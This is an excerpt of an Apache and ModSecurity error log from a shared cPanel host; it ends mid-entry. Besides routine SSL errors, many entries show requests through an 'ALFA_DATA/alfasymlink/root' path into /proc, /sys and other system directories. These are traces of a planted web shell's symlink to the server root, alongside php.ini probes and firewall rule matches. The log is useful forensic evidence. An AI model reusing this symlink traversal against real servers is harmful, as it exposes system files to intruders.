[Tue Oct 27 03:59:46.143909 2026] [core:crit] [pid 3184575:tid 3184575] (13)Permission denied: [client 3.212.219.113:48813] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2799886/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2799886/map_files/' is executable
[Tue Oct 27 03:59:46.143926 2026] [core:crit] [pid 3184575:tid 3184575] (13)Permission denied: [client 3.212.219.113:48813] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2799886/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2799886/fdinfo/' is executable
[Tue Oct 27 03:59:50.167315 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 18.204.152.114:56538] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:00:10.165929 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 3.223.134.5:43976] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:00:18.403230 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 54.84.250.51:6067] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:00:22.175307 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 44.205.180.155:16664] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:00:54.177087 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 35.169.119.108:27199] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:00:58.348086 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 18.211.148.239:26915] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:01:04.739640 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 85.208.96.197:21022] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:01:06.668939 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 3.231.193.38:30633] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:01:14.213715 2026] [security2:error] [pid 3194254:tid 3194254] [client 43.161.233.190:37788] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "auBaShsMrQZ-lBI87Ul1yAAAAAU"], referer: http://sherwinpinturas.com
[Tue Oct 27 04:01:14.279559 2026] [authz_core:error] [pid 3194254:tid 3194254] [client 43.161.233.190:37788] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Tue Oct 27 04:01:18.245883 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 44.223.115.10:11468] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:01:18.848342 2026] [security2:error] [pid 3184472:tid 3184472] [client 43.161.224.78:53358] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "auBaTioaxgN9H0AE4f1u9wAAAAM"]
[Tue Oct 27 04:01:18.849372 2026] [authz_core:error] [pid 3184472:tid 3184472] [client 43.161.224.78:53358] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 04:01:22.262753 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 100.24.167.60:6569] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:01:26.458840 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 34.192.67.98:3440] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:01:34.341920 2026] [ssl:error] [pid 3184471:tid 3184471] (5)Input/output error: [client 184.73.195.18:55245] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:01:42.438398 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 98.82.40.168:9066] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:01:54.353313 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.152.163.42:53467] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:02:02.362442 2026] [core:error] [pid 3184471:tid 3184471] (13)Permission denied: [client 44.194.139.149:39026] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:14/eject
[Tue Oct 27 04:02:10.690083 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 44.218.170.184:25331] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:02:30.459899 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 44.197.76.210:64218] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:02:34.438711 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 44.207.207.36:53535] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:02:46.968730 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 44.193.102.198:25649] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:02:50.746627 2026] [ssl:error] [pid 3174426:tid 3174426] (5)Input/output error: [client 52.73.142.41:8808] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:02:58.638885 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.197.178.107:4707] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:03:10.788918 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 52.204.174.139:20827] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:03:14.826374 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 34.231.45.47:6947] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:03:19.422052 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 52.44.229.124:46177] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:03:22.723433 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.6.232.201:14910] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:03:26.757095 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 18.206.47.187:44973] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:03:34.686264 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 54.225.81.20:60926] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:03:42.660517 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 18.208.11.93:17858] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:04:16.453631 2026] [core:error] [pid 3194351:tid 3194351] (13)Permission denied: [client 85.208.96.206:44526] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/objects
[Tue Oct 27 04:04:19.015521 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 44.221.105.234:23893] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:04:34.995815 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 98.82.66.172:62104] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/rescan
[Tue Oct 27 04:04:50.931428 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 52.0.63.151:34954] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:04:53.200253 2026] [security2:error] [pid 3174426:tid 3174426] [client 185.191.171.6:12238] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/mw35/php82/clone.php"] [unique_id "auBbJfBpQA4DT21g-rgTLwAAAAY"]
[Tue Oct 27 04:04:53.200306 2026] [security2:error] [pid 3174426:tid 3174426] [client 185.191.171.6:12238] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/mw35/php82/clone.php"] [unique_id "auBbJfBpQA4DT21g-rgTLwAAAAY"]
[Tue Oct 27 04:04:54.875679 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 3.211.181.86:24865] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:05:04.762611 2026] [security2:error] [pid 3184471:tid 3184471] [client 43.155.140.157:45098] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/scrapeproxiesok.php"] [unique_id "auBbMNOTO42xOmZCRV02hQAAAAE"]
[Tue Oct 27 04:05:07.166968 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 54.163.169.168:32729] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:05:19.263623 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 3.216.227.216:19949] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:05:25.620617 2026] [authz_core:error] [pid 3184472:tid 3184472] [client 45.138.12.32:50720] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 04:05:25.850831 2026] [authz_core:error] [pid 3194351:tid 3194351] [client 45.138.12.32:50716] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 04:05:26.834718 2026] [authz_core:error] [pid 3184575:tid 3184575] [client 45.138.12.32:50734] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 04:05:27.446216 2026] [authz_core:error] [pid 3194327:tid 3194327] [client 45.138.12.32:50736] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 04:05:35.658479 2026] [security2:error] [pid 3184471:tid 3184471] [client 43.155.140.157:45098] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/scrapeproxiesok.php"] [unique_id "auBbMNOTO42xOmZCRV02hQAAAAE"]
[Tue Oct 27 04:05:35.658521 2026] [security2:error] [pid 3184471:tid 3184471] [client 43.155.140.157:45098] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/scrapeproxiesok.php"] [unique_id "auBbMNOTO42xOmZCRV02hQAAAAE"]
[Tue Oct 27 04:05:39.538683 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 54.84.169.196:52956] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:05:44.057057 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 44.194.134.53:47828] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:05:51.539016 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 52.201.155.215:54617] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:05:55.293012 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 3.223.134.5:14028] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:05:59.658349 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 44.207.69.106:40471] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:06:03.723505 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 18.211.148.239:12730] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:06:07.477072 2026] [core:error] [pid 3194328:tid 3194328] (13)Permission denied: [client 23.23.214.190:1214] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:04.0/rescan
[Tue Oct 27 04:06:11.346770 2026] [core:error] [pid 3194254:tid 3194254] (13)Permission denied: [client 52.45.92.83:43573] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/remove_id
[Tue Oct 27 04:06:19.610192 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.45.92.83:1269] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:06:23.584449 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 44.210.213.220:3126] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:06:27.830914 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 34.233.219.155:3264] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:06:35.681559 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 23.23.213.182:19202] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:06:51.661624 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 52.70.209.13:41457] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:06:59.589878 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 52.205.141.124:48714] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:07:11.917199 2026] [core:error] [pid 3194344:tid 3194344] (13)Permission denied: [client 34.195.60.66:55802] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/0000:00:05.0/driver/uevent
[Tue Oct 27 04:07:13.823294 2026] [security2:error] [pid 3174426:tid 3174426] [client 185.191.171.10:54246] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/pac-resolver/"] [unique_id "auBbsfBpQA4DT21g-rgTNQAAAAY"]
[Tue Oct 27 04:07:13.823337 2026] [security2:error] [pid 3174426:tid 3174426] [client 185.191.171.10:54246] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/node_modules/pac-resolver/"] [unique_id "auBbsfBpQA4DT21g-rgTNQAAAAY"]
[Tue Oct 27 04:07:20.519311 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 23.21.228.180:57022] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:07:23.944818 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 54.147.238.89:30902] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:07:39.704694 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 44.193.102.198:14039] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:07:43.646476 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 3.221.50.71:8760] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:07:56.255456 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 23.23.103.31:3484] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:07:59.799884 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 52.22.64.232:53523] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/memory17/node0/cpu1/subsystem/devices/cpu0/crash_notes_size
[Tue Oct 27 04:08:03.855590 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 44.218.170.184:2491] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:08:11.778701 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 100.28.49.152:18814] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:08:15.763571 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 34.206.193.60:15479] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:08:22.892830 2026] [security2:error] [pid 3194344:tid 3194344] [client 185.191.171.15:26926] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".cmd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/node_modules/npm/bin/npx.cmd"] [unique_id "auBb9js6QI_2LyqMu-svNQAAABA"]
[Tue Oct 27 04:08:22.893326 2026] [security2:error] [pid 3194344:tid 3194344] [client 185.191.171.15:26926] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/node_modules/npm/bin/npx.cmd"] [unique_id "auBb9js6QI_2LyqMu-svNQAAABA"]
[Tue Oct 27 04:08:22.893869 2026] [security2:error] [pid 3194344:tid 3194344] [client 185.191.171.15:26926] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/node_modules/npm/bin/npx.cmd"] [unique_id "auBb9js6QI_2LyqMu-svNQAAABA"]
[Tue Oct 27 04:08:27.757502 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 98.84.200.43:23793] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:08:31.922358 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 34.234.197.175:26586] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:08:35.724477 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 98.84.200.43:16549] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:08:40.317034 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 23.21.228.180:9606] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:08:47.761017 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 52.204.89.12:39572] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:08:51.722888 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.71.218.25:37150] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:08:59.747219 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.201.155.215:6945] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:09:04.030770 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 34.234.200.207:34415] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:09:07.777466 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 98.82.40.168:24452] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:09:11.917983 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 18.208.11.93:9456] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:09:15.759077 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 3.220.148.166:43705] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:09:19.706070 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.224.215.150:57955] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:09:24.721168 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 34.234.197.175:43648] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:09:59.776185 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 100.28.44.58:24024] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:10:08.113680 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 52.4.238.8:51346] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:10:11.793059 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 54.221.203.24:8527] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:10:16.086147 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 98.82.39.241:17505] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:10:20.054884 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 3.219.80.71:54197] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:10:20.055143 2026] [security2:error] [pid 3184472:tid 3184472] [client 3.219.80.71:54197] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/LNXCPU:01/physical_node/node0/cpu0/topology/core_siblings"] [unique_id "auBcbCoaxgN9H0AE4f1vDAAAAAM"]
[Tue Oct 27 04:10:20.055174 2026] [security2:error] [pid 3184472:tid 3184472] [client 3.219.80.71:54197] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/LNXCPU:01/physical_node/node0/cpu0/topology/core_siblings"] [unique_id "auBcbCoaxgN9H0AE4f1vDAAAAAM"]
[Tue Oct 27 04:10:22.004503 2026] [security2:error] [pid 3194351:tid 3194351] [client 85.208.96.193:48902] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/ostic17/language/ru.phar"] [unique_id "auBcbc-M-kXjH-VclWYJQQAAABg"]
[Tue Oct 27 04:10:22.004556 2026] [security2:error] [pid 3194351:tid 3194351] [client 85.208.96.193:48902] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/ostic17/language/ru.phar"] [unique_id "auBcbc-M-kXjH-VclWYJQQAAABg"]
[Tue Oct 27 04:10:27.815199 2026] [ssl:error] [pid 3194344:tid 3194344] (5)Input/output error: [client 54.85.109.140:9293] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:10:32.444745 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 23.21.148.226:30981] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:10:35.941473 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 54.84.147.79:34861] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:10:39.728507 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 52.200.54.136:50234] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:10:43.955452 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 100.24.149.244:27127] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:10:51.719060 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 52.207.47.227:13025] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:11:03.820620 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 54.235.172.108:25173] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:11:07.780678 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 23.23.99.55:30109] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:11:08.481421 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 185.191.171.1:51528] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:11:11.922849 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 54.167.32.123:41695] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:11:20.347670 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 18.206.47.187:37250] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:11:25.796908 2026] [core:error] [pid 3184575:tid 3184575] (13)Permission denied: [client 54.83.56.1:64506] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0B00:00/subsystem/drivers_probe
[Tue Oct 27 04:11:27.689577 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 54.90.244.132:9524] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:11:34.009669 2026] [security2:error] [pid 3184471:tid 3184471] [client 185.191.171.19:37248] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname 